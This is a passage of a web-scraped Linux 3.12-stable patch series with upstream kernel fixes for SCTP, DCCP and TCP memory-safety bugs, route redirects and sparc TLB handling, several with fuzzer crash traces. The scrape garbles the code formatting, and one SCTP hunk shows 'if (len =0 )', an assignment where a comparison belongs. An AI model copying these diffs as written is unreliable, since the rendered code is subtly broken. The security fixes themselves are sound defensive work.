[<ffffffffb273f0e4>] ? kmalloc_order+0x24/0x90 [<ffffffffb27416a4>] ? kmalloc_order_trace+0x24/0x220 [<ffffffffb2819a30>] ? __kmalloc+0x330/0x540 [<ffffffffc18c25f4>] ? sctp_getsockopt_local_addrs+0x174/0xca0 [sctp] [<ffffffffc18d2bcd>] ? sctp_getsockopt+0x10d/0x1b0 [sctp] [<ffffffffb37c1219>] ? sock_common_getsockopt+0xb9/0x150 [<ffffffffb37be2f5>] ? SyS_getsockopt+0x1a5/0x270
--- net/sctp/socket.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-)
net/sctp/socket.c +4 -1
@@ -4247,7 +4247,7 @@ static int sctp_getsockopt_disable_fragments(struct sock *sk, int len,static int sctp_getsockopt_events (struct sock *sk,int len,char __user *optval,int __user *optlen) { -if (len <=0 ) +if (len =0 )return -EINVAL ;if (len >sizeof (struct sctp_event_subscribe )) len =sizeof (struct sctp_event_subscribe );
@@ -5758,6 +5758,9 @@ static int sctp_getsockopt(struct sock *sk, int level, int optname,if (get_user (len, optlen))return -EFAULT ; +if (len <0 ) +return -EINVAL ; +sctp_lock_sock (sk);switch (optname) {
Signature · 1 line
2.10.2
PATCH 94/127 sctp: validate chunk len before actually using it
In reply to Jiri SlabyFrom: Marcelo Ricardo Leitner <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
[ Upstream commit bf911e985d6bbaa328c20c3e05f4eb03de11fdd6 ]
Andrey Konovalov reported that KASAN detected that SCTP was using a slab beyond the boundaries. It was caused because when handling out of the blue packets in function sctp_sf_ootb() it was checking the chunk len only after already processing the first chunk, validating only for the 2nd and subsequent ones.
The fix is to just move the check upwards so it's also validated for the 1st chunk.
--- net/sctp/sm_statefuns.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-)
net/sctp/sm_statefuns.c +6 -6
@@ -3427,6 +3427,12 @@ sctp_disposition_t sctp_sf_ootb(struct net *net,return sctp_sf_violation_chunklen (net, ep, asoc, type, arg, commands); +/* Report violation if chunk len overflows */ + ch_end = ((__u8 *)ch) +WORD_ROUND (ntohs (ch->length)); +if (ch_end >skb_tail_pointer (skb)) +return sctp_sf_violation_chunklen (net, ep, asoc, type, arg, + commands); +/* Now that we know we at least have a chunk header, * do things that are type appropriate. */
@@ -3458,12 +3464,6 @@ sctp_disposition_t sctp_sf_ootb(struct net *net, } } -/* Report violation if chunk len overflows */ - ch_end = ((__u8 *)ch) +WORD_ROUND (ntohs (ch->length)); -if (ch_end >skb_tail_pointer (skb)) -return sctp_sf_violation_chunklen (net, ep, asoc, type, arg, - commands); - ch = (sctp_chunkhdr_t *) ch_end; }while (ch_end <skb_tail_pointer (skb));
Signature · 1 line
2.10.2
PATCH 95/127 drivers/vfio: Rework offsetofend()
In reply to Jiri SlabyFrom: Gavin Shan <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit b13460b92093b29347e99d6c3242e350052b62cd upstream.
The macro offsetofend() introduces unnecessary temporary variable "tmp". The patch avoids that and saves a bit memory in stack.
--- include/linux/vfio.h | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-)
include/linux/vfio.h +2 -3
@@ -86,9 +86,8 @@ extern void vfio_unregister_iommu_driver(* from user space. This allows us to easily determine if the provided * structure is sized to include various fields. */ -#define offsetofend (TYPE ,MEMBER ) ({ \ - TYPE tmp; \ - offsetof(TYPE, MEMBER) + sizeof(tmp.MEMBER); }) \ +#define offsetofend (TYPE ,MEMBER ) \ + (offsetof(TYPE, MEMBER) + sizeof(((TYPE *)0)->MEMBER))/* * External user API
Signature · 1 line
2.10.2
PATCH 96/127 include/stddef.h: Move offsetofend() from vfio.h to a generic kernel header
In reply to Jiri SlabyFrom: Denys Vlasenko <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 3876488444e71238e287459c39d7692b6f718c3e upstream.
Suggested by Andy.
--- include/linux/stddef.h | 9 +++++++++ include/linux/vfio.h | 13 ------------- 2 files changed, 9 insertions(+), 13 deletions(-)
include/linux/stddef.h +9 -0
@@ -19,3 +19,12 @@ enum {#define offsetof (TYPE ,MEMBER ) ((size_t) &((TYPE *)0)->MEMBER)#endif #endif + +/** +* offsetofend(TYPE, MEMBER) +* +* @TYPE: The type of the structure +* @MEMBER: The member within the structure to get the end offset of +*/ +#define offsetofend (TYPE ,MEMBER ) \ + (offsetof(TYPE, MEMBER) + sizeof(((TYPE *)0)->MEMBER))
include/linux/vfio.h +0 -13
@@ -76,19 +76,6 @@ extern int vfio_register_iommu_driver(const struct vfio_iommu_driver_ops *ops);extern void vfio_unregister_iommu_driver (const struct vfio_iommu_driver_ops *ops); -/** -* offsetofend(TYPE, MEMBER) -* -* @TYPE: The type of the structure -* @MEMBER: The member within the structure to get the end offset of -* -* Simple helper macro for dealing with variable sized structures passed -* from user space. This allows us to easily determine if the provided -* structure is sized to include various fields. -*/ -#define offsetofend (TYPE ,MEMBER ) \ - (offsetof(TYPE, MEMBER) + sizeof(((TYPE *)0)->MEMBER)) -/* * External user API */
Signature · 1 line
2.10.2
PATCH 97/127 stddef.h: move offsetofend inside #ifndef/#endif guard, neaten
In reply to Jiri SlabyFrom: Joe Perches <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 8c7fbe5795a016259445a61e072eb0118aaf6a61 upstream.
Commit 3876488444e7 ("include/stddef.h: Move offsetofend() from vfio.h to a generic kernel header") added offsetofend outside the normal include #ifndef/#endif guard. Move it inside.
Miscellanea:
o remove unnecessary blank line
o standardize offsetof macros whitespace style
--- include/linux/stddef.h | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-)
include/linux/stddef.h +4 -4
@@ -3,7 +3,6 @@#include <uapi/linux/stddef.h> -#undef NULL#define NULL ((void *)0)
@@ -14,10 +13,9 @@ enum {#undef offsetof#ifdef __compiler_offsetof -#define offsetof (TYPE ,MEMBER ) __compiler_offsetof(TYPE,MEMBER) +#define offsetof (TYPE ,MEMBER ) __compiler_offsetof(TYPE, MEMBER)#else -#define offsetof (TYPE ,MEMBER ) ((size_t) &((TYPE *)0)->MEMBER) -#endif +#define offsetof (TYPE ,MEMBER ) ((size_t)&((TYPE *)0)->MEMBER)#endif /**
@@ -28,3 +26,5 @@ enum {*/ #define offsetofend (TYPE ,MEMBER ) \ (offsetof(TYPE, MEMBER) + sizeof(((TYPE *)0)->MEMBER)) + +#endif
Signature · 1 line
2.10.2
PATCH 98/127 net: clear sk_err_soft in sk_clone_lock()
In reply to Jiri SlabyFrom: Eric Dumazet <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
[ Upstream commit e551c32d57c88923f99f8f010e89ca7ed0735e83 ]
At accept() time, it is possible the parent has a non zero sk_err_soft, leftover from a prior error.
Make sure we do not leave this value in the child, as it makes future getsockopt(SO_ERROR) calls quite unreliable.
--- net/core/sock.c | 1 + 1 file changed, 1 insertion(+)
net/core/sock.c +1 -0
@@ -1537,6 +1537,7 @@ struct sock *sk_clone_lock(const struct sock *sk, const gfp_t priority) } newsk->sk_err =0 ; + newsk->sk_err_soft =0 ; newsk->sk_priority =0 ;/* * Before updating sk_refcnt, we must commit prior changes to memory
Signature · 1 line
2.10.2
PATCH 99/127 net: mangle zero checksum in skb_checksum_help()
In reply to Jiri SlabyFrom: Eric Dumazet <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
[ Upstream commit 4f2e4ad56a65f3b7d64c258e373cb71e8d2499f4 ]
Sending zero checksum is ok for TCP, but not for UDP.
UDPv6 receiver should by default drop a frame with a 0 checksum, and UDPv4 would not verify the checksum and might accept a corrupted packet.
Simply replace such checksum by 0xffff, regardless of transport.
This error was caught on SIT tunnels, but seems generic.
--- net/core/dev.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
net/core/dev.c +1 -1
@@ -2263,7 +2263,7 @@ int skb_checksum_help(struct sk_buff *skb) goto out; } - *(__sum16 *)(skb->data + offset) =csum_fold (csum); + *(__sum16 *)(skb->data + offset) =csum_fold (csum) ?:CSUM_MANGLED_0 ; out_set_summed: skb->ip_summed =CHECKSUM_NONE ; out:
Signature · 1 line
2.10.2
PATCH 100/127 ip6_tunnel: Clear IP6CB in ip6tunnel_xmit()
In reply to Jiri SlabyFrom: Eli Cooper <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
[ Upstream commit 23f4ffedb7d751c7e298732ba91ca75d224bc1a6 ]
skb->cb may contain data from previous layers. In the observed scenario, the garbage data were misinterpreted as IP6CB(skb)->frag_max_size, so that small packets sent through the tunnel are mistakenly fragmented.
This patch unconditionally clears the control buffer in ip6tunnel_xmit(), which affects ip6_tunnel, ip6_udp_tunnel and ip6_gre. Currently none of these tunnels set IP6CB(skb)->flags, otherwise it needs to be done earlier.
--- include/net/ip6_tunnel.h | 1 + 1 file changed, 1 insertion(+)
include/net/ip6_tunnel.h +1 -0
@@ -75,6 +75,7 @@ static inline void ip6tunnel_xmit(struct sk_buff *skb, struct net_device *dev)struct net_device_stats *stats = &dev->stats;int pkt_len, err; +memset (skb->cb,0 ,sizeof (struct inet6_skb_parm )); pkt_len = skb->len; err =ip6_local_out (skb);
Signature · 1 line
2.10.2
PATCH 101/127 tcp: fix potential memory corruption
In reply to Jiri SlabyFrom: Eric Dumazet <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
[ Upstream commit ac9e70b17ecd7c6e933ff2eaf7ab37429e71bf4d ]
Imagine initial value of max_skb_frags is 17, and last skb in write queue has 15 frags.
Then max_skb_frags is lowered to 14 or smaller value.
tcp_sendmsg() will then be allowed to add additional page frags and eventually go past MAX_SKB_FRAGS, overflowing struct skb_shared_info.
--- net/ipv4/tcp.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
net/ipv4/tcp.c +1 -1
@@ -1169,7 +1169,7 @@ new_segment:if (!skb_can_coalesce (skb, i, pfrag->page, pfrag->offset)) { -if (i == sysctl_max_skb_frags || !sg) { +if (i >= sysctl_max_skb_frags || !sg) {tcp_mark_push (tp, skb); goto new_segment; }
Signature · 1 line
2.10.2
PATCH 102/127 dccp: do not send reset to already closed sockets
In reply to Jiri SlabyFrom: Eric Dumazet <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
[ Upstream commit 346da62cc186c4b4b1ac59f87f4482b47a047388 ]
Andrey reported following warning while fuzzing with syzkaller
WARNING: CPU: 1 PID: 21072 at net/dccp/proto.c:83 dccp_set_state+0x229/0x290 Kernel panic - not syncing: panic_on_warn set ... CPU: 1 PID: 21072 Comm: syz-executor Not tainted 4.9.0-rc1+ #293 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011 ffff88003d4c7738 ffffffff81b474f4 0000000000000003 dffffc0000000000 ffffffff844f8b00 ffff88003d4c7804 ffff88003d4c7800 ffffffff8140c06a 0000000041b58ab3 ffffffff8479ab7d ffffffff8140beae ffffffff8140cd00 Call Trace: [< inline >] __dump_stack lib/dump_stack.c:15 [<ffffffff81b474f4>] dump_stack+0xb3/0x10f lib/dump_stack.c:51 [<ffffffff8140c06a>] panic+0x1bc/0x39d kernel/panic.c:179 [<ffffffff8111125c>] __warn+0x1cc/0x1f0 kernel/panic.c:542 [<ffffffff8111144c>] warn_slowpath_null+0x2c/0x40 kernel/panic.c:585 [<ffffffff8389e5d9>] dccp_set_state+0x229/0x290 net/dccp/proto.c:83 [<ffffffff838a0aa2>] dccp_close+0x612/0xc10 net/dccp/proto.c:1016 [<ffffffff8316bf1f>] inet_release+0xef/0x1c0 net/ipv4/af_inet.c:415 [<ffffffff82b6e89e>] sock_release+0x8e/0x1d0 net/socket.c:570 [<ffffffff82b6e9f6>] sock_close+0x16/0x20 net/socket.c:1017 [<ffffffff815256ad>] __fput+0x29d/0x720 fs/file_table.c:208 [<ffffffff81525bb5>] ____fput+0x15/0x20 fs/file_table.c:244 [<ffffffff811727d8>] task_work_run+0xf8/0x170 kernel/task_work.c:116 [< inline >] exit_task_work include/linux/task_work.h:21 [<ffffffff8111bc53>] do_exit+0x883/0x2ac0 kernel/exit.c:828 [<ffffffff811221fe>] do_group_exit+0x10e/0x340 kernel/exit.c:931 [<ffffffff81143c94>] get_signal+0x634/0x15a0 kernel/signal.c:2307 [<ffffffff81054aad>] do_signal+0x8d/0x1a30 arch/x86/kernel/signal.c:807 [<ffffffff81003a05>] exit_to_usermode_loop+0xe5/0x130 arch/x86/entry/common.c:156 [< inline >] prepare_exit_to_usermode arch/x86/entry/common.c:190 [<ffffffff81006298>] syscall_return_slowpath+0x1a8/0x1e0
arch/x86/entry/common.c:259
[<ffffffff83fc1a62>] entry_SYSCALL_64_fastpath+0xc0/0xc2
Dumping ftrace buffer:
(ftrace buffer empty)
Kernel Offset: disabled
Fix this the same way we did for TCP in commit 565b7b2d2e63 ("tcp: do not send reset to already closed sockets")
--- net/dccp/proto.c | 4 ++++ 1 file changed, 4 insertions(+)
net/dccp/proto.c +4 -0
@@ -1012,6 +1012,10 @@ void dccp_close(struct sock *sk, long timeout)__kfree_skb (skb); } +/* If socket has been already reset kill it. */ +if (sk->sk_state ==DCCP_CLOSED ) + goto adjudge_to_death; +if (data_was_unread) {/* Unread data was tossed, send an appropriate Reset Code */ DCCP_WARN ("ABORT with %u bytes unread\n" , data_was_unread);
Signature · 1 line
2.10.2
PATCH 103/127 dccp: fix out of bound access in dccp_v4_err()
In reply to Jiri SlabyFrom: Eric Dumazet <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
[ Upstream commit 6706a97fec963d6cb3f7fc2978ec1427b4651214 ]
dccp_v4_err() does not use pskb_may_pull() and might access garbage.
We only need 4 bytes at the beginning of the DCCP header, like TCP, so the 8 bytes pulled in icmp_socket_deliver() are more than enough.
This patch might allow to process more ICMP messages, as some routers are still limiting the size of reflected bytes to 28 (RFC 792), instead of extended lengths (RFC 1812 4.3.2.3)
--- net/dccp/ipv4.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-)
net/dccp/ipv4.c +8 -6
@@ -212,7 +212,7 @@ static void dccp_v4_err(struct sk_buff *skb, u32 info) {const struct iphdr *iph = (struct iphdr *)skb->data;const u8 offset = iph->ihl <<2 ; -const struct dccp_hdr *dh = (struct dccp_hdr *)(skb->data + offset); +const struct dccp_hdr *dh;struct dccp_sock *dp;struct inet_sock *inet;const int type =icmp_hdr (skb)->type;
@@ -222,11 +222,13 @@ static void dccp_v4_err(struct sk_buff *skb, u32 info)int err;struct net *net =dev_net (skb->dev); -if (skb->len < offset +sizeof (*dh) || - skb->len < offset +__dccp_basic_hdr_len (dh)) { -ICMP_INC_STATS_BH (net,ICMP_MIB_INERRORS ); -return ; - } +/* Only need dccph_dport & dccph_sport which are the first +* 4 bytes in dccp header. +* Our caller (icmp_socket_deliver()) already pulled 8 bytes for us. +*/ + BUILD_BUG_ON(offsetofend(struct dccp_hdr, dccph_sport) > 8); + BUILD_BUG_ON(offsetofend(struct dccp_hdr, dccph_dport) > 8); + dh = (struct dccp_hdr *)(skb->data + offset); sk = inet_lookup(net, &dccp_hashinfo, iph->daddr, dh->dccph_dport,
Signature · 1 line
2.10.2
PATCH 104/127 ipv6: dccp: fix out of bound access in dccp_v6_err()
In reply to Jiri SlabyFrom: Eric Dumazet <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
[ Upstream commit 1aa9d1a0e7eefcc61696e147d123453fc0016005 ]
dccp_v6_err() does not use pskb_may_pull() and might access garbage.
We only need 4 bytes at the beginning of the DCCP header, like TCP, so the 8 bytes pulled in icmpv6_notify() are more than enough.
--- net/dccp/ipv6.c | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-)
net/dccp/ipv6.c +8 -7
@@ -83,7 +83,7 @@ static void dccp_v6_err(struct sk_buff *skb, struct inet6_skb_parm *opt, u8 type, u8 code, int offset, __be32 info) { const struct ipv6hdr *hdr = (const struct ipv6hdr *)skb->data; -const struct dccp_hdr *dh = (struct dccp_hdr *)(skb->data + offset); +const struct dccp_hdr *dh;struct dccp_sock *dp;struct ipv6_pinfo *np;struct sock *sk;
@@ -91,12 +91,13 @@ static void dccp_v6_err(struct sk_buff *skb, struct inet6_skb_parm *opt,__u64 seq;struct net *net =dev_net (skb->dev); -if (skb->len < offset +sizeof (*dh) || - skb->len < offset +__dccp_basic_hdr_len (dh)) { -ICMP6_INC_STATS_BH (net,__in6_dev_get (skb->dev), -ICMP6_MIB_INERRORS ); -return ; - } +/* Only need dccph_dport & dccph_sport which are the first +* 4 bytes in dccp header. +* Our caller (icmpv6_notify()) already pulled 8 bytes for us. +*/ + BUILD_BUG_ON(offsetofend(struct dccp_hdr, dccph_sport) > 8); + BUILD_BUG_ON(offsetofend(struct dccp_hdr, dccph_dport) > 8); + dh = (struct dccp_hdr *)(skb->data + offset); sk = inet6_lookup(net, &dccp_hashinfo, &hdr->daddr, dh->dccph_dport,
Signature · 1 line
2.10.2
PATCH 105/127 ipv6: dccp: add missing bind_conflict to dccp_ipv6_mapped
In reply to Jiri SlabyFrom: Eric Dumazet <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
[ Upstream commit 990ff4d84408fc55942ca6644f67e361737b3d8e ]
While fuzzing kernel with syzkaller, Andrey reported a nasty crash in inet6_bind() caused by DCCP lacking a required method.
--- net/dccp/ipv6.c | 1 + 1 file changed, 1 insertion(+)
net/dccp/ipv6.c +1 -0
@@ -1023,6 +1023,7 @@ static const struct inet_connection_sock_af_ops dccp_ipv6_mapped = { .getsockopt = ipv6_getsockopt, .addr2sockaddr = inet6_csk_addr2sockaddr, .sockaddr_len = sizeof(struct sockaddr_in6), + .bind_conflict = inet6_csk_bind_conflict, #ifdef CONFIG_COMPAT .compat_setsockopt = compat_ipv6_setsockopt, .compat_getsockopt = compat_ipv6_getsockopt,
Signature · 1 line
2.10.2
PATCH 106/127 sctp: assign assoc_id earlier in __sctp_connect
In reply to Jiri SlabyFrom: Marcelo Ricardo Leitner <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
[ Upstream commit 7233bc84a3aeda835d334499dc00448373caf5c0 ]
sctp_wait_for_connect() currently already holds the asoc to keep it alive during the sleep, in case another thread release it. But Andrey Konovalov and Dmitry Vyukov reported an use-after-free in such situation.
Problem is that __sctp_connect() doesn't get a ref on the asoc and will do a read on the asoc after calling sctp_wait_for_connect(), but by then another thread may have closed it and the _put on sctp_wait_for_connect will actually release it, causing the use-after-free.
Fix is, instead of doing the read after waiting for the connect, do it before so, and avoid this issue as the socket is still locked by then. There should be no issue on returning the asoc id in case of failure as the application shouldn't trust on that number in such situations anyway.
This issue doesn't exist in sctp_sendmsg() path.
--- net/sctp/socket.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-)
net/sctp/socket.c +5 -2
@@ -1217,9 +1217,12 @@ static int __sctp_connect(struct sock* sk, timeo =sock_sndtimeo (sk, f_flags &O_NONBLOCK ); - err =sctp_wait_for_connect (asoc, &timeo); -if ((err ==0 || err == -EINPROGRESS ) && assoc_id) +if (assoc_id) *assoc_id = asoc->assoc_id; + err =sctp_wait_for_connect (asoc, &timeo); +/* Note: the asoc may be freed after the return of +* sctp_wait_for_connect. +*/ /* Don't free association on exit. */ asoc =NULL ;
Signature · 1 line
2.10.2
PATCH 107/127 neigh: check error pointer instead of NULL for ipv4_neigh_lookup()
In reply to Jiri SlabyFrom: WANG Cong <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 2c1a4311b61072afe2309d4152a7993e92caa41c upstream.
--- net/ipv4/route.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
net/ipv4/route.c +1 -1
@@ -765,7 +765,7 @@ static void __ip_do_redirect(struct rtable *rt, struct sk_buff *skb, struct flow } n =ipv4_neigh_lookup (&rt->dst,NULL , &new_gw); -if (n) { +if (!IS_ERR (n)) {if (!(n->nud_state &NUD_VALID )) {neigh_event_send (n,NULL ); }else {
Signature · 1 line
2.10.2
PATCH 108/127 ipv4: use new_gw for redirect neigh lookup
In reply to Jiri SlabyFrom: Stephen Suryaputra Lin <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
[ Upstream commit 969447f226b451c453ddc83cac6144eaeac6f2e3 ]
In v2.6, ip_rt_redirect() calls arp_bind_neighbour() which returns 0 and then the state of the neigh for the new_gw is checked. If the state isn't valid then the redirected route is deleted. This behavior is maintained up to v3.5.7 by check_peer_redirect() because rt->rt_gateway is assigned to peer->redirect_learned.a4 before calling ipv4_neigh_lookup().
After commit 5943634fc559 ("ipv4: Maintain redirect and PMTU info in struct rtable again."), ipv4_neigh_lookup() is performed without the rt_gateway assigned to the new_gw. In the case when rt_gateway (old_gw) isn't zero, the function uses it as the key. The neigh is most likely valid since the old_gw is the one that sends the ICMP redirect message. Then the new_gw is assigned to fib_nh_exception. The problem is: the new_gw ARP may never gets resolved and the traffic is blackholed.
So, use the new_gw for neigh lookup.
Changes from v1:
- use __ipv4_neigh_lookup instead (per Eric Dumazet).
--- net/ipv4/route.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-)
net/ipv4/route.c +3 -1
@@ -764,7 +764,9 @@ static void __ip_do_redirect(struct rtable *rt, struct sk_buff *skb, struct flow goto reject_redirect; } - n =ipv4_neigh_lookup (&rt->dst,NULL , &new_gw); + n =__ipv4_neigh_lookup (rt->dst.dev, new_gw); +if (!n) + n =neigh_create (&arp_tbl, &new_gw, rt->dst.dev);if (!IS_ERR (n)) {if (!(n->nud_state &NUD_VALID )) {neigh_event_send (n,NULL );
Signature · 1 line
2.10.2
PATCH 109/127 tcp: take care of truncations done by sk_filter()
In reply to Jiri SlabyFrom: Eric Dumazet <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
[ Upstream commit ac6e780070e30e4c35bd395acfe9191e6268bdd3 ]
With syzkaller help, Marco Grassi found a bug in TCP stack, crashing in tcp_collapse()
Root cause is that sk_filter() can truncate the incoming skb, but TCP stack was not really expecting this to happen. It probably was expecting a simple DROP or ACCEPT behavior.
We first need to make sure no part of TCP header could be removed. Then we need to adjust TCP_SKB_CB(skb)->end_seq
Many thanks to syzkaller team and Marco for giving us a reproducer.
--- include/linux/filter.h | 6 +++++- include/net/tcp.h | 1 + net/core/filter.c | 10 +++++----- net/ipv4/tcp_ipv4.c | 19 ++++++++++++++++++- net/ipv6/tcp_ipv6.c | 6 ++++-- 5 files changed, 33 insertions(+), 9 deletions(-)
include/linux/filter.h +5 -1
@@ -41,7 +41,11 @@ static inline unsigned int sk_filter_size(unsigned int proglen) offsetof(struct sk_filter, insns[proglen])); } -extern int sk_filter (struct sock *sk,struct sk_buff *skb); +int sk_filter_trim_cap (struct sock *sk,struct sk_buff *skb,unsigned int cap); +static inline int sk_filter (struct sock *sk,struct sk_buff *skb) +{ +return sk_filter_trim_cap (sk, skb,1 ); +}extern unsigned int sk_run_filter (const struct sk_buff *skb,const struct sock_filter *filter); extern int sk_unattached_filter_create(struct sk_filter **pfp,
include/net/tcp.h +1 -0
@@ -1049,6 +1049,7 @@ static inline void tcp_prequeue_init(struct tcp_sock *tp) }extern bool tcp_prequeue (struct sock *sk,struct sk_buff *skb); +int tcp_filter (struct sock *sk,struct sk_buff *skb);#undef STATE_TRACE
net/core/filter.c +5 -5
@@ -67,9 +67,10 @@ static inline void *load_pointer(const struct sk_buff *skb, int k, }/** -* sk_filter - run a packet through a socket filter +* sk_filter_trim_cap - run a packet through a socket filter * @sk: sock associated with &sk_buff * @skb: buffer to filter +* @cap: limit on how short the eBPF program may trim the packet * * Run the filter code and then cut skb->data to correct size returned by * sk_run_filter. If pkt_len is 0 we toss packet. If skb->len is smaller
@@ -78,7 +79,7 @@ static inline void *load_pointer(const struct sk_buff *skb, int k,* be accepted or -EPERM if the packet should be tossed. * */ -int sk_filter (struct sock *sk,struct sk_buff *skb) +int sk_filter_trim_cap (struct sock *sk,struct sk_buff *skb,unsigned int cap) {int err;struct sk_filter *filter;
@@ -99,14 +100,13 @@ int sk_filter(struct sock *sk, struct sk_buff *skb) filter =rcu_dereference (sk->sk_filter);if (filter) {unsigned int pkt_len =SK_RUN_FILTER (filter, skb); - - err = pkt_len ?pskb_trim (skb, pkt_len) : -EPERM ; + err = pkt_len ?pskb_trim (skb,max (cap, pkt_len)) : -EPERM ; }rcu_read_unlock ();return err; } -EXPORT_SYMBOL (sk_filter); +EXPORT_SYMBOL (sk_filter_trim_cap);/** * sk_run_filter - run a filter on a socket
net/ipv4/tcp_ipv4.c +18 -1
@@ -1941,6 +1941,21 @@ bool tcp_prequeue(struct sock *sk, struct sk_buff *skb) }EXPORT_SYMBOL (tcp_prequeue); +int tcp_filter (struct sock *sk,struct sk_buff *skb) +{ +struct tcphdr *th = (struct tcphdr *)skb->data; +unsigned int eaten = skb->len; +int err; + + err =sk_filter_trim_cap (sk, skb, th->doff *4 ); +if (!err) { + eaten -= skb->len; +TCP_SKB_CB (skb)->end_seq -= eaten; + } +return err; +} +EXPORT_SYMBOL (tcp_filter); +/* * From tcp_input.c */
@@ -2003,8 +2018,10 @@ process: goto discard_and_relse;nf_reset (skb); -if (sk_filter (sk, skb)) +if (tcp_filter (sk, skb)) goto discard_and_relse; + th = (const struct tcphdr *)skb->data; + iph =ip_hdr (skb);sk_mark_napi_id (sk, skb); skb->dev =NULL ;
net/ipv6/tcp_ipv6.c +4 -2
@@ -1339,7 +1339,7 @@ static int tcp_v6_do_rcv(struct sock *sk, struct sk_buff *skb) goto discard;#endif -if (sk_filter (sk, skb)) +if (tcp_filter (sk, skb)) goto discard;/*
@@ -1509,8 +1509,10 @@ process:if (!xfrm6_policy_check (sk,XFRM_POLICY_IN , skb)) goto discard_and_relse; -if (sk_filter (sk, skb)) +if (tcp_filter (sk, skb)) goto discard_and_relse; + th = (const struct tcphdr *)skb->data; + hdr =ipv6_hdr (skb);sk_mark_napi_id (sk, skb); skb->dev =NULL ;
Signature · 1 line
2.10.2
PATCH 110/127 sparc: Don't leak context bits into thread->fault_address
In reply to Jiri SlabyFrom: "David S. Miller" <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
[ Upstream commit 4f6deb8cbab532a8d7250bc09234c1795ecb5e2c ]
On pre-Niagara systems, we fetch the fault address on data TLB exceptions from the TLB_TAG_ACCESS register. But this register also contains the context ID assosciated with the fault in the low 13 bits of the register value.
This propagates into current_thread_info()->fault_address and can cause trouble later on.
So clear the low 13-bits out of the TLB_TAG_ACCESS value in the cases where it matters.
--- arch/sparc/kernel/dtlb_prot.S | 4 ++-- arch/sparc/kernel/ktlb.S | 12 ++++++++++++ arch/sparc/kernel/tsb.S | 12 ++++++++++-- 3 files changed, 24 insertions(+), 4 deletions(-)
arch/sparc/kernel/dtlb_prot.S +2 -2
@@ -25,13 +25,13 @@ /* PROT ** ICACHE line 2: More real fault processing */ ldxa [%g4] ASI_DMMU, %g5 ! Put tagaccess in %g5 + srlx %g5, PAGE_SHIFT, %g5 + sllx %g5, PAGE_SHIFT, %g5 ! Clear context ID bits bgu,pn %xcc, winfix_trampoline ! Yes, perform winfixup mov FAULT_CODE_DTLB | FAULT_CODE_WRITE, %g4 ba,pt %xcc, sparc64_realfault_common ! Nope, normal fault nop nop - nop - nop /* PROT ** ICACHE line 3: Unused... */ nop
arch/sparc/kernel/ktlb.S +12 -0
@@ -20,6 +20,10 @@ kvmap_itlb: mov TLB_TAG_ACCESS, %g4 ldxa [%g4] ASI_IMMU, %g4 + /* The kernel executes in context zero, therefore we do not + * need to clear the context ID bits out of %g4 here. + */ + /* sun4v_itlb_miss branches here with the missing virtual * address already loaded into %g4 */
@@ -128,6 +132,10 @@ kvmap_dtlb: mov TLB_TAG_ACCESS, %g4 ldxa [%g4] ASI_DMMU, %g4 + /* The kernel executes in context zero, therefore we do not + * need to clear the context ID bits out of %g4 here. + */ + /* sun4v_dtlb_miss branches here with the missing virtual * address already loaded into %g4 */
@@ -251,6 +259,10 @@ kvmap_dtlb_longpath: nop .previous + /* The kernel executes in context zero, therefore we do not + * need to clear the context ID bits out of %g5 here. + */ + be,pt %xcc, sparc64_realfault_common mov FAULT_CODE_DTLB, %g4 ba,pt %xcc, winfix_trampoline
arch/sparc/kernel/tsb.S +10 -2
@@ -29,13 +29,17 @@ */ tsb_miss_dtlb: mov TLB_TAG_ACCESS, %g4 + ldxa [%g4] ASI_DMMU, %g4 + srlx %g4, PAGE_SHIFT, %g4 ba,pt %xcc, tsb_miss_page_table_walk - ldxa [%g4] ASI_DMMU, %g4 + sllx %g4, PAGE_SHIFT, %g4 tsb_miss_itlb: mov TLB_TAG_ACCESS, %g4 + ldxa [%g4] ASI_IMMU, %g4 + srlx %g4, PAGE_SHIFT, %g4 ba,pt %xcc, tsb_miss_page_table_walk - ldxa [%g4] ASI_IMMU, %g4 + sllx %g4, PAGE_SHIFT, %g4 /* At this point we have: * %g1 -- PAGE_SIZE TSB entry address
@@ -284,6 +288,10 @@ tsb_do_dtlb_fault: nop .previous + /* Clear context ID bits. */ + srlx %g5, PAGE_SHIFT, %g5 + sllx %g5, PAGE_SHIFT, %g5 + be,pt %xcc, sparc64_realfault_common mov FAULT_CODE_DTLB, %g4 ba,pt %xcc, winfix_trampoline
Signature · 1 line
2.10.2
PATCH 111/127 sparc64 mm: Fix base TSB sizing when hugetlb pages are used
In reply to Jiri SlabyFrom: Mike Kravetz <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
[ Upstream commit af1b1a9b36b8f9d583d4b4f90dd8946ed0cd4bd0 ]
